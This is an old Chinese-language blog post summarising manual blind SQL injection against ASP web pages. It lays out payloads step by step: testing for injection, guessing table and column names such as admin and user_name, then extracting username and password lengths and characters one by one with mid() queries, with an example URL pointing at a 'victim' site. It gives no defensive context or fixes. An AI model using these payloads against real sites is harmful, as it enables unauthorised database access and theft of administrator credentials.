anuxs's Blog

.net blog

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::

Sql injection手工猜解总结

1 判断是否存在注入:

;and 1=1

;and 1=2

2 猜表名:

and 1=(select min(id) from 表名)

or 0<>(Select count(*) from 表名)


例如:

http://www.victim/list.asp?id=312 and 1=(select min(id) from admin)


说明:

查看是否存在Aadmin 这个表。

提示:
正常返回,证明有一个admin的表.如果没有正常返回,或是出错;则表明不存在admin这个表.


3 猜字段名:

0<>(select count(*) from 表名 where 字段名<>'')

例如:

0<>(select count(*) from admin where user_name<>'')

说明:

查看admin 表里是否有user_name 这个字段


提示:

正常返回,证明有一个user_name 这个字段.如果没有正常返回,或是出错;则表明不存在user_name这个字段.


4
猜用户名的长度:

and 1=(select min(id) from 表名 where len(存放用户名的字段)>长度)


例如:

and 1=(select min(id) from admin where len(user_name)>8)

说明:

查看Admin表中 用户名(User_Name)的长度是多长


提示:

正常返回,证明猜对,如果没有正常返回,或是出错;则表明长度不对.(原因有两种:或是长或是短。)


5
猜用户名的密码长度:
and 1=(select min(id) from 表名 where len(密码所存放的字段)>长度)


例如:
and 1=(select min(id) from admin where len(password)>8)

说明

查看Admin表中 用户名(password)的长度是多长

提示:

正常返回,证明猜对,如果没有正常返回,或是出错;则表明长度不对.(原因有两

种:或是长或是短。)

6 猜用户名

and 1=(select min(id) from 表名 where mid(存放用户名的字段,1,1)='尝试的字符')


例如:

and 1=(select min(id) from admin where mid(user_name,1,1)='a')


说明

查看Admin表中 用户名(user_name)的用户名第一位是否为字符 “a”

第二为的猜解则相应的修改提交的参数;如:

and 1=(select min(id) from admin where mid(user_name,2,1)='a')

and 1=(select min(id) from admin where mid(user_name,3,1)='a')

……

提示:

正常返回,证明猜对,如果没有正常返回,或是出错;则表明不对。(注意:a-z/ A-Z/ 0-9/ 汉字/ 依次类
推,只到返回正常页面为止)


7 猜解密码:

and 1=(select min(id) from 表名 where mid(存放密码的字段,1,1)='尝试的字符')

说明:
方法同猜用户名一样

posted on 2004-09-06 21:05  anuxs  阅读(884)  评论(0编辑  收藏  举报